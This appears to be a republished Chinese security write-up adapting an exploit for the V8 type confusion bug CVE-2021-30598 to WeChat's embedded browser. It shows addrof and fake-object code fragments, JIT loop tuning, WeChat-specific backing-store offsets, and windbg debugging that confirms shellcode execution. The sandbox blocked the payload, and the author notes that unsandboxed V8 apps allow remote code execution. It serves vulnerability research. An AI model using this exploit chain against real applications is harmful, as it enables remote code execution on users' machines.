這個洞是cve-2021-30598 ,原exp:https://bugs.chromium.org/p/chromium/issues/attachmentText?aid=513233 經測試,該exp在v8 < 9.1.0可以使用。首先我們來復習一下V8類型混淆漏洞的利用過程(如果對V8 exp的構造過程不了解,請參考@Hcamael 大神的幾篇文章
1、利用越界讀獲取double array map
2、利用obj array to double array構造任意變量地址讀。該漏洞沒有修改array map,而是通過double array覆蓋obj array,原理如圖所示:

3、利用double array to obj array構造fake obj,實現任意地址讀寫。該漏洞同樣不是通過修改array map,而是通過堆疊array的方式

4、把ArrayBuffer的buf_backing_store地址修改為WebAssembly.Instance的buf_backing_store,因為wasm申請的內存是可讀可寫可執行的。原exp沒有用這種方式,但是我覺得這種方式比較容易理解,所以把利用腳本改成了這種。

下面分析一下實際環境中exp的改造過程遇到的問題,及解決方案
1、減少jit循環
在chromium下,過多的循環次數會造成崩潰,這與實驗環境不同(原exp循環10萬次),所以需要減少觸發jit的循環次數,既不能崩潰,又要觸發jit優化,經測試,leak_addr_helper、leak_array_map循環3000次,fake_obj_helper循環10000次為合理的次數。
2、地址長度
微信V8是32位的,而原exp為64位利用腳本,但是由于新版本V8地址壓縮的原因,地址長度不需要修改。
3、偏移量計算
由于實驗環境中可以使用%DebugPrint(),%SystemBreak()等方便的函數調試堆布局,而實際環境中沒法準確的下斷點,因此需要使用其他手段確定自己的堆布局是否正確。可以先在實驗環境調試,初步確定堆布局是什么樣的,再在要構造數據的前后布局錨點數據,以確定實際環境中自己讀取的數據是否正確。
leak_array_map:
...
let arr2 = new Array(10);//[1337.5, 1338.5, 1339.5]; // arr2 is of type double too
for (var i = 0; i < 10; i++) arr2[i] = i+1337.5;
...
//v0應該是arr2最后一個元素,即1346.5
let v0 = iter.next();
let v1 = iter.next();
...
var res = leak_array_map(true,arr,true);
let array_map_leak = res[1];
print("anchor data = 0x" + (ftoi(res[0])).toString(16) + " | " + res[0]); //這里alert出來,應該是1346.5
print("array_map_leak = 0x" + (ftoi(res[1])).toString(16) + " | " +res[1]);

addrof:
...
let arr = new Array(3+30*(1+confused));
arr[0] = 0.5;
let arr2 = new Array(5); for (var idx = 0; idx < 5; idx+=1) arr2[idx]={};
arr2[1] = obj;
arr2[0] = 0x1337; //注意這里,arr2是個obj array,每個元素(地址)長32bit,arr是個double array,讀的時候每個元素長64bit,因此如果讀到正確的double,其低32bit應該是0x1337(小端存儲)
...
let f = leak_addr_helper(true, obj,true);
let n = ftoi(f);
let u = upper(n);
let l = lower(n);
if (l == (0x1337 << 1)) print("[*]lower data match"); //在v8里,small integer在內存里的值為實際值的兩倍,因此判斷的時候要乘2,即左移1位
...

fake_obj_helper:
...
let arr = new Array(3+30*(1+confused));
arr[0] = 0; //這里有個細節,arr[0]賦值成small integer和obj對應的array map是相同的,但是的堆布局不同。smi更好構造堆布局
let arr2 = new Array(5); for (var idx = 0; idx < 5; idx+=1) arr2[idx]=0.0;
arr2[0] = val; //要讀取地址的obj
let iter = arr[Symbol.iterator]();
iter.next();iter.next();iter.next();
iter.next();
//v0應該是arr2的長度,即5
let v0 = iter.next();
let v1 = iter.next();
...
let f = itof(pair(addr,addr));
let res = fake_obj_helper(true,f,true);
print("[*]res[0]:"+res[0]); //這里應該是5
...

至此堆疊array讀取時通過迭代器(iterator)讀取偏移量已經確定,還有一個問題,怎么確定buf_backing_store_addr相對ArrayBuffer和WebAssembly.Instance基地址的偏移量,雖然在實驗環境這個值可以通過%DebugPrint和讀內存輕松獲得,但是調試過程中發現,ubuntu 18.04下編譯的v8 8.1.307.32 32位的buf_backing_store_addr偏移量和微信的實際環境中的并不相同,不能拿過來直接用。
4、buf_backing_store_addr的兩個偏移量
首先確定WebAssembly.Instance的buf_backing_store_addr偏移量,因為由調試經驗知,wasm_instance創建后,堆上會多一塊唯一的可讀可寫可執行的內存,且由于堆上的內存塊0x1000字節對齊,該內存塊的地址是這樣的:0x***000,因此只需要
① 在wasm_instance申請內存前后通過alert阻塞住進程,通過windbg的!vadump命令(約等于pwndbg的vmmap)找到那塊多出來的可讀可寫可執行內存
② 我們已經有了任意變量地址讀,和任意地址讀,從wasm_instance的基地址開始,輸出基地址+i*8的內存,就能找到偏移量了
...
let wasm_instance_addr = addrof(wasmInstance);
for(var i = 0;i < 20;i++){
print("i:"+i+" data:"+read64(wasm_instance_addr+i*8).toString(16)); //000結尾的,且和windbg里RWX那塊內存地址相同的
}
...
(顯然是他)

再確定ArrayBuffer的buf_backing_store_addr偏移量,因為wasm instance的偏移量已經確定了,由調試經驗知,ArrayBuffer的buf_backing_store地址以0結尾,同樣循環輸出,找到疑似的偏移量挨個嘗試即可,如果偏移量正確,以下代碼的第二個alert應該不會執行,因為偏移量正確時wasm里已經成功寫入我們的shellcode了,執行的是我們的shellcode;而偏移量不正確時wasm里是空的,f()會直接返回,什么都不發生,第二句alert成功執行
alert("[*] 寫代碼成功"+rwx_page.toString(16));
f();
alert("[*]執行完畢")
最后給出我調試的結論:
在微信最新版
ArrayBuffer的buf_backing_store_addr偏移量為:base_addr+0x10
WebAssembly.Instance的buf_backing_store_addr偏移量為:base_addr+0x40
5、怎么確定代碼流被控制到我們的shellcode了
經過以上4步,理論上我們的shellcode應該已經執行了,但是實際環境中,并沒有彈出計算器,那么怎么確定我們的shellcode是否成功執行了呢?經過上述的一頓操作,我們已經能夠知道可讀可寫可執行的內存地址是什么,這時就能通過windbg來調試我們的代碼了,以下是我的調試過程:
①在代碼執行前alert一下,卡住進程

②windbg attach進程



③內存下斷點,放過后點擊彈窗,讓進程繼續運行


斷在了我們寫入的內存:

④因為shellcode是執行了system("calc.exe");,在msvcrt.dll!system 的入口處下斷點,繼續跑起來

斷下了:

kb命令看下參數:


入參設置沒問題,pt跑到函數返回:

很可惜,system函數返回-1,代表執行失敗了,多次更換姿勢后推測是存在沙箱,需要借助一個穿沙箱的洞才能構造完整的利用鏈
結論
我們已經能夠控制代碼執行流到我們的shellcode,但是由于chromium的沙箱限制(看現象推測是沙箱,沒研究過沙箱具體實現所以不能確定,如有錯誤請指正),并不能彈出計算器,如果要構造完整的利用鏈還需要繞過windows的沙箱機制(chromium的沙箱用了windows的沙箱),但是本文作者發現有些使用V8引擎的應用是沒有沙箱限制的,可以直接實現無沙箱的遠程代碼執行,本文提供了實際環境中調試這種應用的思路。
廣告:https://github.com/lxraa/v8_exp 放一些已公開v8 poc的exp
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1848/
暫無評論